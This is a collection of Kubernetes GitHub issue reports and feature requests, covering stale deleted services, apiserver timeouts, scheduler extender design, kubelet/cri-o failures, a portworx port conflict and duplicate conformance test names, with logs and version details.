minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  : \r    \r linux ip-10-2-31-104 3.13.0-117-generic  164-ubuntu smp fri apr 7 11:05:26 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: custom terraform+ansible setup. network layer flannel vxlan.\r - others:  docker version 1.12.6, build 78d1802 \r

 \r \r   what happened  :\r we have deleted a service with kubectl, which completed successfully:\r    \r deleting master-fakecruiser-chaos-2100-ipt2-th7-9\r service \ master-fakecruiser-chaos-2100-ipt2-th7-9\  deleted\r    \r  kubectl get services  does not show the service anymore.\r \r i notice in kube-proxy log that it is regularly seeing updates to this service several hours later:\r    \r i1110 08:52:24.770140 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:api\  at 172.20.240.187:8443/tcp\r i1110 08:52:24.770191 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:etcd\  at 172.20.240.187:4001/tcp\r i1110 08:52:24.770209 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:openvpn\  at 172.20.240.187:1194/udp\r i1110 08:52:24.770225 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:api\  at 172.20.121.90:28615/tcp\r i1110 08:52:24.770239 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:etcd\  at 172.20.121.90:4001/tcp\r i1110 08:52:24.770253 4111062 proxier.go:326  adding new service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:openvpn\  at 172.20.121.90:1194/udp\r ...\r i1110 08:52:51.198290 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:api\ \r i1110 08:52:51.198325 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:etcd\ \r i1110 08:52:51.198346 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9:openvpn\ \r i1110 08:52:51.198377 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:api\ \r i1110 08:52:51.198393 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:etcd\ \r i1110 08:52:51.198404 4111062 proxier.go:342  removing service port \ kubx-masters/master-fakecruiser-chaos-2100-ipt2-th1-9:openvpn\ \r    \r we have thousands of services, so  iptables-restore  takes a long time - so we would like to minimise the number of times it gets called, so we do not want it constantly updating for services that no longer exist.\r  controller-manager logs show this at the time of the deletion:\r    \r i1109 22:01:38.002517       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r i1109 22:02:46.459278       1 replica_set.go:454  too few \ kubx-masters\ /\ master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4\  replicas, need 1, creating 1\r i1109 22:02:46.460864       1 event.go:218  event v1.objectreference{kind:\ deployment\ , namespace:\ kubx-masters\ , name:\ master-fakecruiser-chaos-2100-ipt2-th7-9\ , uid:\ b7e8ae90-c599-11e7-ad99-067cd1b190\r 87\ , apiversion:\ extensions\ , resourceversion:\ 32846421\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4 to 1\r i1109 22:02:46.471897       1 deployment_controller.go:483  error syncing deployment kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9: operation cannot be fulfilled on deployments.extensions \ maste\r r-fakecruiser-chaos-2100-ipt2-th7-9\ : the object has been modified; please apply your changes to the latest version and try again\r i1109 22:02:46.472203       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kubx-masters\ , name:\ master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4\ , uid:\ b7ecfa77-c599-11e7-ad99\r -067cd1b19087\ , apiversion:\ extensions\ , resourceversion:\ 32846422\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4-mqbjw\r i1109 22:02:46.497077       1 deployment_controller.go:483  error syncing deployment kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9: operation cannot be fulfilled on deployments.extensions \ maste\r r-fakecruiser-chaos-2100-ipt2-th7-9\ : the object has been modified; please apply your changes to the latest version and try again\r i1110 02:50:44.759463       1 replica_set.go:518  too many \ kubx-masters\ /\ master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4\  replicas, need 0, deleting 1\r i1110 02:50:44.759522       1 controller_utils.go:612  controller master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4 deleting pod kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4-mqbjw\r i1110 02:50:44.760592       1 event.go:218  event v1.objectreference{kind:\ deployment\ , namespace:\ kubx-masters\ , name:\ master-fakecruiser-chaos-2100-ipt2-th7-9\ , uid:\ b7e8ae90-c599-11e7-ad99-067cd1b190\r 87\ , apiversion:\ extensions\ , resourceversion:\ 32956897\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled down replica set master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4 to 0\r i1110 02:50:44.774732       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kubx-masters\ , name:\ master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4\ , uid:\ b7ecfa77-c599-11e7-ad99\r -067cd1b19087\ , apiversion:\ extensions\ , resourceversion:\ 32956898\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: master-fakecruiser-chaos-2100-ipt2-th7-9-8694849fc4-mqbjw\r i1110 02:50:44.785043       1 deployment_controller.go:483  error syncing deployment kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9: operation cannot be fulfilled on deployments.extensions \ maste\r r-fakecruiser-chaos-2100-ipt2-th7-9\ : the object has been modified; please apply your changes to the latest version and try again\r i1110 02:50:48.111730       1 deployment_controller.go:572  deployment kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 has been deleted\r i1110 03:00:16.777359       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:00:33.248820       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r i1110 03:00:33.254911       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:05:41.307803       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r i1110 03:05:41.355856       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:12:42.265230       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:20:29.271145       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:25:33.296592       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r i1110 03:25:33.300175       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:34:51.260187       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:40:05.275062       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r i1110 03:40:05.279991       1 service_controller.go:736  service has been deleted kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9\r i1110 03:48:11.280925       1 service_controller.go:311  not persisting unchanged loadbalancerstatus for service kubx-masters/master-fakecruiser-chaos-2100-ipt2-th7-9 to registry.\r    \r \r these messages have carried on for several hours and are still occurring.\r \r apiserver shows these logs repeatedly:\r    \r i1110 09:52:18.970238       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  3.860381ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:00:51.219732       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  3.278812ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:07:20.070521       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  4.269692ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:12:54.970485       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  4.151651ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:20:09.019972       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  3.678267ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:28:00.919740       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  3.454642ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r i1110 10:37:06.620233       1 wrap.go:42  delete /api/v1/namespaces/kubx-masters/endpoints/master-fakecruiser-chaos-2100-ipt2-th7-9:  3.833084ms  200   hyperkube/v1.8.1  linux/amd64  kubernetes/2e77a3c/system:serviceaccount:kube-system:endpoint-controller  10.143.138.85:40146 \r    \r \r so it looks like something is constantly trying to delete the service even though it has been deleted.\r \r   what you expected to happen  :\r services should be fully deleted when they are requested to be deleted.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure how to reproduce this - we have hundreds of deleted services, and they all seem to have deleted cleanly.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-1+2e77a3c658dd5d\ , gitcommit:\ 2e77a3c658dd5df223ca52b927ba2bbd80b24377\ , gittreestate:\ clean\ , builddate:\ 2017-10-20t08:11:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-1+2e77a3c658dd5d\ , gitcommit:\ 2e77a3c658dd5df223ca52b927ba2bbd80b24377\ , gittreestate:\ clean\ , builddate:\ 2017-10-20t08:11:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r running on ibm cloud vms\r - os  e.g. from /etc/os-release :\r 16.04.2 lts  xenial \r - kernel  e.g.  uname -a  :\r 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is not much value in keeping a few components in plugin/pkg when everything else lives in and pkg/\r \r this follows the work to move scheduler out of the plugin directory from  57579  the end goal being to delete the plugin directory. \r \r   what you expected to happen  :\r \r components that would be moved:\r plugin/pkg/auth\r \r because the pkg/auth/authorizer directory already exists, the actual move will look more like,\r plugin/pkg/auth/authorizer/rbac -> pkg/auth/authorizer/rbac\r plugin/pkg/auth/authorizer/node -> pkg/auth/authorizer/node\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @thockin \r /cc @kubernetes/sig-auth-misc\r 

\r \r   what happened  :\r generic apiserver startup with filter  withtimeoutfornonlongrunningrequests   and endpoint handlers also have a finishrequest timeout.\r https://github.com/kubernetes/kubernetes/blob/83c1334e5110e6f492f0e375488978ebb16a62a5/staging/src/k8s.io/apiserver/pkg/server/config.go l560\r \r https://github.com/kubernetes/kubernetes/blob/83c1334e5110e6f492f0e375488978ebb16a62a5/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/create.go l110\r \r these two timeout do not have a relationship. and the first  requesttimeout   default value is 60s, the second timeout is parsed from url query values .  in another word, if client set timeout = 100s, if a request takes > 60s it will timeout.\r \r i am not sure whether this is a bug.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r as device plugin evolving, more use cases for scheduler extender begin to showing up, for example,  customized scheduling logic for extended resources.\r \r the recent example i'm working on is: topology awareness of gpu devices for deep learning workloads training, see: https://github.com/kubernetes/kubernetes/issues/49964\r \r in this use case, extender can be used to do the advanced scheduling based on gpu topology information.\r \r but the current extender has some concerns:\r 1. http server's performance.\r 2. the parameters between default scheduler and extender are not well structured,  not easy to maintain, and not versioned.\r \r   what you expected to happen  :\r \r we may consider to use grpc to handle extender, like what we did for container runtime interface.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   one thing not sure is  : if this proposal alias with the long term goal of sig-scheduling?\r since we do have a design about  scheduler as framework  https://docs.google.com/document/d/1nskpthpobwtia5xsgb4bwphz4idrxl1rnvdji7rvgio/edit  . will we keep scheduler extender feature in that roadmap? or it will be deprecated. \r \r if the former case, then this proposal do make sense and worth further discussion and design.\r otherwise, this may be overkill and we can leave it as is.\r \r cc @kubernetes/sig-scheduling-api-reviews @bsalamat @timothysc \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r \r   what happened  :\r a kubeconfig error prevented getting the client version\r \r $ kubectl version --client=true\r error in configuration: \r   unable to read client-cert ...client.crt for minikube due to open .../client.crt: no such file or directory\r \r \r   what you expected to happen  :\r $ kubectl version --client=true\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.13-01-eks\ , gitcommit:\ 3560dff069d192fad3f14aa524cda6ecc73c309f\ , gittreestate:\ clean\ , builddate:\ 2019-03-27t04:30:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   how to reproduce it  as minimally and precisely as possible   :\r edit kubeconfig to point to non-existant cert file\r \r kubectl version --client=true\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r 1.11.0 and later\r

example:      $ ./hack/update-generated-docs.sh   detected go version: go version go1.3.3 linux/amd64.kubernetes requires go version 1.4 or greater.please install go version 1.4 or later.       i have a fixing pr ready, will send it in a moment.

event though the npd in kubemark is running it seems it is not able to connect to apiserver. all i'm seeing in its logs is:\r    \r i1227 12:43:53.517143       1 kernel_monitor.go:83  finish parsing log file: {watcherconfig:{kernellogpath:/log/faillog startpattern:initializing cgroup subsys cpuset lookback:10m} buffersize:10 source:kernel-monitor defaultconditions:   rules:  }\r i1227 12:43:53.519158       1 kernel_monitor.go:97  start kernel monitor\r i1227 12:43:53.519177       1 kernel_log_watcher.go:95  kernel log \ /log/faillog\  is not found, kernel monitor doesn't support the os distro\r i1227 12:43:53.519190       1 problem_detector.go:60  problem detector started\r i1227 12:43:53.519215       1 kernel_monitor.go:190  initalize condition generated:   \r e1227 12:48:57.619751       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:50:24.248961       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:51:08.451716       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:51:41.410016       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:52:11.410385       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:52:46.438235       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r e1227 12:53:30.589205       1 manager.go:130  failed to update node conditions: dial tcp 10.0.0.1:443: i/o timeout\r    \r \r i think this is simply misconfigured as the master address is not 10.0.0.1\r \r @gmarek @kubernetes/sig-scalability-misc @shyamjvs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r we've found an internal use case where we wanted to disable ipv6 in the container, and unfortunately net.ipv6.conf.all.disable_ipv6 is not white-listed. could this option be added to the white list?\r \r i can send a pr if that's an acceptable change.

pkg/api/v1/node  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/node/util.go l17  should be merged with  pkg/util/node  https://github.com/kubernetes/kubernetes/blob/master/pkg/util/node/node.go  .\r these two pkgs both function on node condition/status...\r

so i have been working on a way to make dep  or something dep-compatible  friendlier towards the kubernetes main repository.\r \r it differs from  57795 in that:\r - it doesn't leave dep entirely as-is  instead, it tries to teach it to handle mono-repositories better \r - it doesn't introduce a runtime construct\r \r after talking with @sttts i opened golang/dep 1764 which explores  one  of the possibilities, namely merging some of the logic into dep  certainly not as-is though .\r i also have a version that's a standalone tool vendoring dep, in case upstreaming is not an option.\r realistically some of the logic  might  make it, while the rest would probably have to be handled in a k8s-specific tool.\r the design details are entirely shared between the two options, so i'll leave golang/dep 1764 as the source of truth for now.\r \r i'm opening this particular issue to\r     make sure i'm talking to both communities in a consistent way\r     collect kubernetes-specific feedback on the viability of the approach\r \r @thockin @jessfraz @mattfarina @sttts  and whoever else might be interested , i'd love to get your thoughts !\r \r thanks!

failing jobs\r  sig-release-master-blocking gce-scale-correctness  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness \r   failing tests\r  beforesuite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/160 \r   triage results\r  beforesuite  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-scale-correctness&test=beforesuite \r \r  /   /milestone v1.12\r cc @tpepper @aishsundar @kubernetes/sig-gcp-test-failures @kubernetes/sig-testing

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : running the non-  serial   conformance tests with  --ginkgo-parallel  produces unpredictable results, sometimes tests show up again with a   2   on the end. this is due to the following tests having multiple tests with identical names:\r \r -   sig-storage  projected optional updates should be reflected in volume  nodeconformance   conformance  \r -   sig-storage  projected should be consumable from pods in volume  nodeconformance   conformance  \r -   sig-storage  projected should be consumable from pods in volume with defaultmode set  nodeconformance   conformance  \r -   sig-storage  projected should be consumable from pods in volume with mappings  nodeconformance   conformance  \r \r \r   what you expected to happen  : tests should have unique names.\r \r   how to reproduce it  as minimally and precisely as possible   : run the conformance tests with a skip on   serial   and  --ginkgo-parallel \r \r \r   anything else we need to know?  : example here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kind-conformance-parallel/596\r \r \r   cc @spiffxp @yujuhong @random-liu \r

is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r on certain clusters, port 9001 is already in use on the hosts. the portworx native driver is hardcoded is use 9001 as the target for mount, unmount, attach and requests. this fails since the portworx daemon cannot listen on 9001\r \r   what you expected to happen  :\r \r end users should be able to configure the port the portworx native driver should use using a configmap or storageclass and native driver should use that to override the default 9001.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install portworx using https://docs.portworx.com/scheduler/kubernetes/install.html and change the default portworx to anything other than 9001 when going through https://install.portworx.com.  after portworx is up, pvcs can be created and pods cannot mount it.\r \r   anything else we need to know?  :\r \r i'll take care of of submitting a pr to fix this.\r \r   environment  :\r - kubernetes version  use  kubectl version  : all kubernetes versions as of writing.\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

\r if ‘prestop’  hook is set and ‘terminationgraceperiodseconds’ are not null，assuming a node is unreachable，i wonder how a pod in this node can be deleted gracefully and migrant to other healthy nodes？ i check some doc and get this:\r ‘’‘\r kubernetes  versions 1.5 or newer  will not delete pods just because a node is unreachable. the pods running on an unreachable node enter the ‘terminating’ or ‘unknown’ state after atimeout. pods may also enter these states when the user attempts graceful deletion of a pod on an unreachable node. \r ’‘’\r so， how should i do？\r \r /triage support\r \r

what happened  :\r \r kubelet doesn't seem to be able to manage containers started with cri-o any more\r \r i'm testing kubelet + cri-o on an ubuntu 18.04 server installation, inside a qemu/kvm vm managed by vagrant  see https://github.com/olberger/vagrant-k8s-kubevirt-katacontainers/tree/539c9d06ffa611aa2d08da6cfa617d42fe218a40 , in order to be able to test k8s + kubevirt + katacontainers, which are all compatible with cri-o  \r \r kubelet will obsess on starting new containers, which looks like and endless process, and the cluster never gets ready.\r \r for instance here are some syslogs :\r    \r may  8 13:32:44 ubuntu1804 systemd 1 : started crio-conmon-93673e8dc9ee02e7855aa616de720d15d8c009013dc9577ad303ea38c00c67a6.scope.\r may  8 13:32:44 ubuntu1804 systemd 1 : created slice libcontainer_16535_systemd_test_default.slice.\r may  8 13:32:44 ubuntu1804 systemd 1 : removed slice libcontainer_16535_systemd_test_default.slice.\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.377844    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/cpu,cpuacct/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/cpu,cpuacct/libcontainer_16535_systemd_test_default.slice: no such file or directory\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.377890    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/blkio/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/blkio/libcontainer_16535_systemd_test_default.slice: no such file or directory\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.377913    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/memory/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/memory/libcontainer_16535_systemd_test_default.slice: no such file or directory\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.377993    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/devices/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/devices/libcontainer_16535_systemd_test_default.slice: no such file or directory\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.380535    9399 container.go:409  failed to create summary reader for \ /libcontainer_16535_systemd_test_default.slice\ : none of the resources are being tracked.\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.381180    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/memory/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : readdirent: no such file or directory\r may  8 13:32:44 ubuntu1804 kubelet 9399 : w0508 13:32:44.381358    9399 raw.go:87  error while processing event  \ /sys/fs/cgroup/devices/libcontainer_16535_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/devices/libcontainer_16535_systemd_test_default.slice: no such file or directory\r may  8 13:32:44 ubuntu1804 systemd 1 : created slice libcontainer_16535_systemd_test_default.slice.\r may  8 13:32:44 ubuntu1804 systemd 1 : removed slice libcontainer_16535_systemd_test_default.slice.\r may  8 13:32:44 ubuntu1804 systemd 1 : started libcontainer container 93673e8dc9ee02e7855aa616de720d15d8c009013dc9577ad303ea38c00c67a6.\r may  8 13:32:44 ubuntu1804 kubelet 9399 : e0508 13:32:44.391247    9399 kubelet.go:2244  node \ kubernetes-vagrant-01\  not found\r may  8 13:32:44 ubuntu1804 kubelet 9399 : e0508 13:32:44.433374    9399 fshandler.go:118  failed to collect filesystem stats - rootdiskerr: could not stat \ /var/lib/containers/storage/overlay/93f8d93979e19d2d23dcccf4cf66d66ad7eced76f53871ef010de26816c821ac/diff\  to get inode usage: stat /var/lib/containers/storage/overlay/93f8d93979e19d2d23dcccf4cf66d66ad7eced76f53871ef010de26816c821ac/diff: no such file or directory, extradiskerr: <nil>\r may  8 13:32:44 ubuntu1804 crio 8875 : open /dev/stderr: no such device or address\r may  8 13:32:44 ubuntu1804 crio 8875 : name:\r may  8 13:32:44 ubuntu1804 crio 8875 :    runc - open container initiative runtime\r may  8 13:32:44 ubuntu1804 crio 8875 : runc is a command line client for running applications packaged according to\r may  8 13:32:44 ubuntu1804 crio 8875 : the open container initiative  oci  format and is a compliant implementation of the\r may  8 13:32:44 ubuntu1804 crio 8875 : open container initiative specification.\r    \r \r   what you expected to happen  :\r \r it used to work  see asciinema recording at https://www-public.imtbs-tsp.eu/~berger_o/weblog/2019/04/26/testing-kubevirt-for-running-vms-inside-kubernetes-in-a-vagrant-qemu-vm/  a few days ago, but i fear some recent changes broke it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r testing with vagrant up --provider=libvirt on linux with a clone of that commit:\r https://github.com/olberger/vagrant-k8s-kubevirt-katacontainers/tree/539c9d06ffa611aa2d08da6cfa617d42fe218a40\r \r vagrant ssh into the vm and ps -edf f or tail -f /var/log/syslog would do...\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/kube-apiserver:v1.14.1\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/kube-controller-manager:v1.14.1\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/kube-scheduler:v1.14.1\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/kube-proxy:v1.14.1\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/pause:3.1\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/etcd:3.3.10\r     kubernetes-vagrant-01:  config/images  pulled k8s.gcr.io/coredns:1.3.1\r    \r - cloud provider or hardware configuration: qemu/kvm vm + \r    \r crictl version\r version:  0.1.0\r runtimename:  cri-o\r runtimeversion:  1.13.1-dev\r runtimeapiversion:  v1alpha1\r    \r - os  e.g:  cat /etc/os-release  : ubuntu 18.04.2 lts \r - kernel  e.g.  uname -a  : linux kubernetes-vagrant-01 4.15.0-48-generic  51-ubuntu smp wed apr 3 08:28:49 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm as in https://github.com/olberger/vagrant-k8s-kubevirt-katacontainers/blob/539c9d06ffa611aa2d08da6cfa617d42fe218a40/kubernetes.sh\r - network plugin and version  if this is a network-related bug :\r - others:\r

forked from https://github.com/kubernetes/kubernetes/pull/32427/files r78462965  according to https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/, docker 1.12 introduced a new graphdriver: overlay2. when we automate the validation for docker 1.12, we didn't validate the driver.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-ingress/212/  failed: isup {e2e.go}      error running get status: exit status 1

